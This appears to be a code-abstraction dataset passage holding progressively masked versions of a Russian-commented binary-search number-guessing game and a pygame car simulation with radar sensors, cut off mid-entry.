[ "#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\ndef game_core(number): #самый очевидный и простой способ - бинарный поиск\n count = 0\n predict = 50 #берем в качестве первого предположения среднее значение из интервала от 0 до 100\n max1 = 100 #верхняя граница\n min1 = 0 #нижняя граница\n while number != predict:\n count+=1\n if number > predict:\n min1 = predict #так как загаданное число больше, то предположение становится новой нижней границей поиска\n predict = (min1+max1) // 2 #снова берём среднее значение\n elif number < predict:\n max1 = predict #так как загаданное число меньше, то предположение становится новой верхней границей поиска\n predict = (min1+max1) // 2 #снова берём среднее значение\n return(count)\n\n\n# In[ ]:\n\n\nimport numpy as np\ndef score_game(game_core_v1): #функция симулирующая игру угадай число\n '''Запускаем игру 1000 раз, чтоб узнать как быстро игра угадывает число'''\n count_ls = []\n np.random.seed(1) # фиксируем RANDOM SEED, чтобы эксперимент был воспроизводим!\n random_array = np.random.randint(1, 101, size=(250))\n for number in random_array:\n count_ls.append(game_core_v1(number))\n score = int(np.mean(count_ls))\n print(f\"Ваш алгоритм угадывает число в среднем за {score} попыток\")\n return(score)\nscore_game (game_core)\n\n", "def game_core(number):\n count = 0\n predict = 50\n max1 = 100\n min1 = 0\n while number != predict:\n count += 1\n if number > predict:\n min1 = predict\n predict = (min1 + max1) // 2\n elif number < predict:\n max1 = predict\n predict = (min1 + max1) // 2\n return count\n\n\nimport numpy as np\n\n\ndef score_game(game_core_v1):\n \"\"\"Запускаем игру 1000 раз, чтоб узнать как быстро игра угадывает число\"\"\"\n count_ls = []\n np.random.seed(1)\n random_array = np.random.randint(1, 101, size=250)\n for number in random_array:\n count_ls.append(game_core_v1(number))\n score = int(np.mean(count_ls))\n print(f'Ваш алгоритм угадывает число в среднем за {score} попыток')\n return score\n\n\nscore_game(game_core)\n", "def game_core(number):\n count = 0\n predict = 50\n max1 = 100\n min1 = 0\n while number != predict:\n count += 1\n if number > predict:\n min1 = predict\n predict = (min1 + max1) // 2\n elif number < predict:\n max1 = predict\n predict = (min1 + max1) // 2\n return count\n\n\n<import token>\n\n\ndef score_game(game_core_v1):\n \"\"\"Запускаем игру 1000 раз, чтоб узнать как быстро игра угадывает число\"\"\"\n count_ls = []\n np.random.seed(1)\n random_array = np.random.randint(1, 101, size=250)\n for number in random_array:\n count_ls.append(game_core_v1(number))\n score = int(np.mean(count_ls))\n print(f'Ваш алгоритм угадывает число в среднем за {score} попыток')\n return score\n\n\nscore_game(game_core)\n", "def game_core(number):\n count = 0\n predict = 50\n max1 = 100\n min1 = 0\n while number != predict:\n count += 1\n if number > predict:\n min1 = predict\n predict = (min1 + max1) // 2\n elif number < predict:\n max1 = predict\n predict = (min1 + max1) // 2\n return count\n\n\n<import token>\n\n\ndef score_game(game_core_v1):\n \"\"\"Запускаем игру 1000 раз, чтоб узнать как быстро игра угадывает число\"\"\"\n count_ls = []\n np.random.seed(1)\n random_array = np.random.randint(1, 101, size=250)\n for number in random_array:\n count_ls.append(game_core_v1(number))\n score = int(np.mean(count_ls))\n print(f'Ваш алгоритм угадывает число в среднем за {score} попыток')\n return score\n\n\n<code token>\n", "def game_core(number):\n count = 0\n predict = 50\n max1 = 100\n min1 = 0\n while number != predict:\n count += 1\n if number > predict:\n min1 = predict\n predict = (min1 + max1) // 2\n elif number < predict:\n max1 = predict\n predict = (min1 + max1) // 2\n return count\n\n\n<import token>\n<function token>\n<code token>\n", "<function token>\n<import token>\n<function token>\n<code token>\n" ]

[ "import math\nimport pygame as pg\nfrom pygameUtils import rotate, calc_sides\nfrom dotenv import load_dotenv\nimport os\n\nCAR_HEIGHT = 100\nCAR_WIDTH = 100\nRADAR_COLOR = (0, 0, 255)\nWHITE_COLOR = (255, 255, 255, 255)\nload_dotenv()\n\n\nclass Car(object):\n \"\"\"Car class for pygame simulation\"\"\"\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(\n self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [\n self.x_pos + 50, self.y_pos + 50\n ]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n\n def update(self):\n \"\"\"Updates the car itself\"\"\"\n #self.x_pos += dif_x\n #self.y_pos += dif_y\n self.distance += self.speed\n #self.angle += dif_angle\n self.x_pos += math.cos(math.radians(360-self.angle)) * self.speed\n self.y_pos += math.sin(math.radians(360-self.angle)) * self.speed\n self.center = [int(self.x_pos + 50), int(self.y_pos + 50)]\n self.rotate_surface = rotate(self.surface, self.angle)\n\n # Clear the radars that have been used\n self.update_collision_points()\n self.check_collision()\n self.radars.clear()\n\n sensoresList = []\n if (int(os.getenv(\"NUM_SENSORES\")) == 3):\n sensoresList = list(range(-90, 120, 90))\n elif (int(os.getenv(\"NUM_SENSORES\")) == 4):\n sensoresList = list(range(-90, 120, 60))\n elif (int(os.getenv(\"NUM_SENSORES\")) == 5):\n sensoresList = list(range(-90, 120, 45))\n elif (int(os.getenv(\"NUM_SENSORES\")) == 9):\n sensoresList = list(range(-90, 120, 25))\n elif (int(os.getenv(\"NUM_SENSORES\")) == 11):\n sensoresList = list(range(-90, 120, 20))\n\n # Draw the radars in the given angles\n for degree in sensoresList:\n self.update_radar(degree)\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n\n # Calculate the x center of the car, considering its rotation\n x_len = int(\n self.center[0] + math.cos(\n math.radians(360 - (self.angle + degree))\n ) * length\n ) # Calculate the y center of the car, considering its rotation\n y_len = int(\n self.center[1] + math.sin(\n math.radians(360 - (self.angle + degree))\n ) * length\n )\n\n # Check if the pixel we want is not out of range\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n\n # We have to check if one of the sides is out of the track\n while pixel != WHITE_COLOR and length < 300:\n\n try:\n # Try to get the furthest pixel in the game\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n # If it fails, just set it as a white color\n pixel = WHITE_COLOR\n else:\n # Change the length and update x and y values\n length = length + 1\n\n # Update x values\n x_len = int(\n self.center[0] + math.cos(\n math.radians(360 - (self.angle + degree))\n ) * length\n )\n\n # Update y values\n y_len = int(\n self.center[1] + math.sin(\n math.radians(360 - (self.angle + degree))\n ) * length\n )\n\n # Get the vertical and horizontal side of the car\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n\n # If we get the hypotenuse of the triangle, we are also getting\n # the distance of the radar\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n\n def draw_radar(self, screen):\n \"\"\"Draws the radars on the screen\"\"\"\n self.get_data()\n for radar in self.radars:\n position, _ = radar\n pg.draw.line(screen, RADAR_COLOR, self.center, position, 1)\n pg.draw.circle(screen, RADAR_COLOR, position, 2)\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n\n for point in self.collision_points:\n\n try:\n if self.game_map.get_at((\n int(point[0]), int(point[1])\n )) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n\n def get_reward(self):\n return self.distance/50.0\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv(\"NUM_SENSORES\"))):\n inputLayer.append(0)\n\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1]/30)\n return inputLayer\n", "import math\nimport pygame as pg\nfrom pygameUtils import rotate, calc_sides\nfrom dotenv import load_dotenv\nimport os\nCAR_HEIGHT = 100\nCAR_WIDTH = 100\nRADAR_COLOR = 0, 0, 255\nWHITE_COLOR = 255, 255, 255, 255\nload_dotenv()\n\n\nclass Car(object):\n \"\"\"Car class for pygame simulation\"\"\"\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n\n def update(self):\n \"\"\"Updates the car itself\"\"\"\n self.distance += self.speed\n self.x_pos += math.cos(math.radians(360 - self.angle)) * self.speed\n self.y_pos += math.sin(math.radians(360 - self.angle)) * self.speed\n self.center = [int(self.x_pos + 50), int(self.y_pos + 50)]\n self.rotate_surface = rotate(self.surface, self.angle)\n self.update_collision_points()\n self.check_collision()\n self.radars.clear()\n sensoresList = []\n if int(os.getenv('NUM_SENSORES')) == 3:\n sensoresList = list(range(-90, 120, 90))\n elif int(os.getenv('NUM_SENSORES')) == 4:\n sensoresList = list(range(-90, 120, 60))\n elif int(os.getenv('NUM_SENSORES')) == 5:\n sensoresList = list(range(-90, 120, 45))\n elif int(os.getenv('NUM_SENSORES')) == 9:\n sensoresList = list(range(-90, 120, 25))\n elif int(os.getenv('NUM_SENSORES')) == 11:\n sensoresList = list(range(-90, 120, 20))\n for degree in sensoresList:\n self.update_radar(degree)\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n\n def draw_radar(self, screen):\n \"\"\"Draws the radars on the screen\"\"\"\n self.get_data()\n for radar in self.radars:\n position, _ = radar\n pg.draw.line(screen, RADAR_COLOR, self.center, position, 1)\n pg.draw.circle(screen, RADAR_COLOR, position, 2)\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n for point in self.collision_points:\n try:\n if self.game_map.get_at((int(point[0]), int(point[1]))\n ) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n\n def get_reward(self):\n return self.distance / 50.0\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\nCAR_HEIGHT = 100\nCAR_WIDTH = 100\nRADAR_COLOR = 0, 0, 255\nWHITE_COLOR = 255, 255, 255, 255\nload_dotenv()\n\n\nclass Car(object):\n \"\"\"Car class for pygame simulation\"\"\"\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n\n def update(self):\n \"\"\"Updates the car itself\"\"\"\n self.distance += self.speed\n self.x_pos += math.cos(math.radians(360 - self.angle)) * self.speed\n self.y_pos += math.sin(math.radians(360 - self.angle)) * self.speed\n self.center = [int(self.x_pos + 50), int(self.y_pos + 50)]\n self.rotate_surface = rotate(self.surface, self.angle)\n self.update_collision_points()\n self.check_collision()\n self.radars.clear()\n sensoresList = []\n if int(os.getenv('NUM_SENSORES')) == 3:\n sensoresList = list(range(-90, 120, 90))\n elif int(os.getenv('NUM_SENSORES')) == 4:\n sensoresList = list(range(-90, 120, 60))\n elif int(os.getenv('NUM_SENSORES')) == 5:\n sensoresList = list(range(-90, 120, 45))\n elif int(os.getenv('NUM_SENSORES')) == 9:\n sensoresList = list(range(-90, 120, 25))\n elif int(os.getenv('NUM_SENSORES')) == 11:\n sensoresList = list(range(-90, 120, 20))\n for degree in sensoresList:\n self.update_radar(degree)\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n\n def draw_radar(self, screen):\n \"\"\"Draws the radars on the screen\"\"\"\n self.get_data()\n for radar in self.radars:\n position, _ = radar\n pg.draw.line(screen, RADAR_COLOR, self.center, position, 1)\n pg.draw.circle(screen, RADAR_COLOR, position, 2)\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n for point in self.collision_points:\n try:\n if self.game_map.get_at((int(point[0]), int(point[1]))\n ) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n\n def get_reward(self):\n return self.distance / 50.0\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\nload_dotenv()\n\n\nclass Car(object):\n \"\"\"Car class for pygame simulation\"\"\"\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n\n def update(self):\n \"\"\"Updates the car itself\"\"\"\n self.distance += self.speed\n self.x_pos += math.cos(math.radians(360 - self.angle)) * self.speed\n self.y_pos += math.sin(math.radians(360 - self.angle)) * self.speed\n self.center = [int(self.x_pos + 50), int(self.y_pos + 50)]\n self.rotate_surface = rotate(self.surface, self.angle)\n self.update_collision_points()\n self.check_collision()\n self.radars.clear()\n sensoresList = []\n if int(os.getenv('NUM_SENSORES')) == 3:\n sensoresList = list(range(-90, 120, 90))\n elif int(os.getenv('NUM_SENSORES')) == 4:\n sensoresList = list(range(-90, 120, 60))\n elif int(os.getenv('NUM_SENSORES')) == 5:\n sensoresList = list(range(-90, 120, 45))\n elif int(os.getenv('NUM_SENSORES')) == 9:\n sensoresList = list(range(-90, 120, 25))\n elif int(os.getenv('NUM_SENSORES')) == 11:\n sensoresList = list(range(-90, 120, 20))\n for degree in sensoresList:\n self.update_radar(degree)\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n\n def draw_radar(self, screen):\n \"\"\"Draws the radars on the screen\"\"\"\n self.get_data()\n for radar in self.radars:\n position, _ = radar\n pg.draw.line(screen, RADAR_COLOR, self.center, position, 1)\n pg.draw.circle(screen, RADAR_COLOR, position, 2)\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n for point in self.collision_points:\n try:\n if self.game_map.get_at((int(point[0]), int(point[1]))\n ) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n\n def get_reward(self):\n return self.distance / 50.0\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n \"\"\"Car class for pygame simulation\"\"\"\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n\n def update(self):\n \"\"\"Updates the car itself\"\"\"\n self.distance += self.speed\n self.x_pos += math.cos(math.radians(360 - self.angle)) * self.speed\n self.y_pos += math.sin(math.radians(360 - self.angle)) * self.speed\n self.center = [int(self.x_pos + 50), int(self.y_pos + 50)]\n self.rotate_surface = rotate(self.surface, self.angle)\n self.update_collision_points()\n self.check_collision()\n self.radars.clear()\n sensoresList = []\n if int(os.getenv('NUM_SENSORES')) == 3:\n sensoresList = list(range(-90, 120, 90))\n elif int(os.getenv('NUM_SENSORES')) == 4:\n sensoresList = list(range(-90, 120, 60))\n elif int(os.getenv('NUM_SENSORES')) == 5:\n sensoresList = list(range(-90, 120, 45))\n elif int(os.getenv('NUM_SENSORES')) == 9:\n sensoresList = list(range(-90, 120, 25))\n elif int(os.getenv('NUM_SENSORES')) == 11:\n sensoresList = list(range(-90, 120, 20))\n for degree in sensoresList:\n self.update_radar(degree)\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n\n def draw_radar(self, screen):\n \"\"\"Draws the radars on the screen\"\"\"\n self.get_data()\n for radar in self.radars:\n position, _ = radar\n pg.draw.line(screen, RADAR_COLOR, self.center, position, 1)\n pg.draw.circle(screen, RADAR_COLOR, position, 2)\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n for point in self.collision_points:\n try:\n if self.game_map.get_at((int(point[0]), int(point[1]))\n ) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n\n def get_reward(self):\n return self.distance / 50.0\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n\n def update(self):\n \"\"\"Updates the car itself\"\"\"\n self.distance += self.speed\n self.x_pos += math.cos(math.radians(360 - self.angle)) * self.speed\n self.y_pos += math.sin(math.radians(360 - self.angle)) * self.speed\n self.center = [int(self.x_pos + 50), int(self.y_pos + 50)]\n self.rotate_surface = rotate(self.surface, self.angle)\n self.update_collision_points()\n self.check_collision()\n self.radars.clear()\n sensoresList = []\n if int(os.getenv('NUM_SENSORES')) == 3:\n sensoresList = list(range(-90, 120, 90))\n elif int(os.getenv('NUM_SENSORES')) == 4:\n sensoresList = list(range(-90, 120, 60))\n elif int(os.getenv('NUM_SENSORES')) == 5:\n sensoresList = list(range(-90, 120, 45))\n elif int(os.getenv('NUM_SENSORES')) == 9:\n sensoresList = list(range(-90, 120, 25))\n elif int(os.getenv('NUM_SENSORES')) == 11:\n sensoresList = list(range(-90, 120, 20))\n for degree in sensoresList:\n self.update_radar(degree)\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n\n def draw_radar(self, screen):\n \"\"\"Draws the radars on the screen\"\"\"\n self.get_data()\n for radar in self.radars:\n position, _ = radar\n pg.draw.line(screen, RADAR_COLOR, self.center, position, 1)\n pg.draw.circle(screen, RADAR_COLOR, position, 2)\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n for point in self.collision_points:\n try:\n if self.game_map.get_at((int(point[0]), int(point[1]))\n ) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n\n def get_reward(self):\n return self.distance / 50.0\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n\n def update(self):\n \"\"\"Updates the car itself\"\"\"\n self.distance += self.speed\n self.x_pos += math.cos(math.radians(360 - self.angle)) * self.speed\n self.y_pos += math.sin(math.radians(360 - self.angle)) * self.speed\n self.center = [int(self.x_pos + 50), int(self.y_pos + 50)]\n self.rotate_surface = rotate(self.surface, self.angle)\n self.update_collision_points()\n self.check_collision()\n self.radars.clear()\n sensoresList = []\n if int(os.getenv('NUM_SENSORES')) == 3:\n sensoresList = list(range(-90, 120, 90))\n elif int(os.getenv('NUM_SENSORES')) == 4:\n sensoresList = list(range(-90, 120, 60))\n elif int(os.getenv('NUM_SENSORES')) == 5:\n sensoresList = list(range(-90, 120, 45))\n elif int(os.getenv('NUM_SENSORES')) == 9:\n sensoresList = list(range(-90, 120, 25))\n elif int(os.getenv('NUM_SENSORES')) == 11:\n sensoresList = list(range(-90, 120, 20))\n for degree in sensoresList:\n self.update_radar(degree)\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n <function token>\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n for point in self.collision_points:\n try:\n if self.game_map.get_at((int(point[0]), int(point[1]))\n ) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n\n def get_reward(self):\n return self.distance / 50.0\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, 